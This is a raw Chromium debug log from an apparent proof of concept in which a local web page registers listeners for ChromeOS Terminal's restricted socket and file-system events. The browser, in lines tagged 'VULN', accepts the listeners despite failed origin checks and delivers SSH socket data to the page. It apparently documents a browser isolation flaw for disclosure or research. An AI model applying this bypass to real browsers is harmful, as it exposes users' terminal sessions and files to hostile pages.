[1041:1041:0404/155321.256814:ERROR:extensions/renderer/extension_frame_helper.cc:304] [POC-RENDERER] pid=1041 real_url=http://127.0.0.1:8080/poc.html -> AddListenerForMainThread(event=sockets.tcp.onReceive, listener_url=chrome-untrusted://terminal/) [1041:1041:0404/155321.257967:ERROR:extensions/renderer/extension_frame_helper.cc:304] [POC-RENDERER] pid=1041 real_url=http://127.0.0.1:8080/poc.html -> AddListenerForMainThread(event=fileSystemProvider.onReadFileRequested, listener_url=chrome-untrusted://terminal/) [966:966:0404/155321.331630:ERROR:extensions/browser/event_router.cc:405] [POC-BROWSER] AddListenerForMainThread accepted: event=sockets.tcp.onReceive listener_url=chrome-untrusted://terminal/ from rph=5 CanAccessDataForOrigin(chrome-untrusted://terminal)=false <-- VULN: process cannot host this origin but listener was registered! [966:966:0404/155321.331837:ERROR:extensions/browser/event_router.cc:405] [POC-BROWSER] AddListenerForMainThread accepted: event=fileSystemProvider.onReadFileRequested listener_url=chrome-untrusted://terminal/ from rph=5 CanAccessDataForOrigin(chrome-untrusted://terminal)=false <-- VULN: process cannot host this origin but listener was registered! [966:966:0404/155323.333002:ERROR:extensions/browser/event_router.cc:434] [POC-BROWSER] (simulating ChromeOS Terminal) DispatchEventToURL(restrict_to_url=chrome-untrusted://terminal/, event=sockets.tcp.onReceive) [966:966:0404/155323.333546:ERROR:extensions/browser/event_router.cc:1155] [POC-BROWSER] DispatchEventToProcess: event=sockets.tcp.onReceive target_context=kUntrustedWebUi listener_url=chrome-untrusted://terminal/ rph=5 CanAccessDataForOrigin=false <-- VULN: dispatching kUntrustedWebUi-restricted event to process that cannot host that origin! [1041:1041:0404/155323.334777:ERROR:extensions/renderer/dispatcher.cc:1274] [POC-RENDERER] pid=1041 *** RECEIVED EVENT *** name=sockets.tcp.onReceive args=[{"data":[83,83,72,45,50,46,48,45,79,112,101,110,83,83,72,95,57,46,54,13,10],"socketId":1}]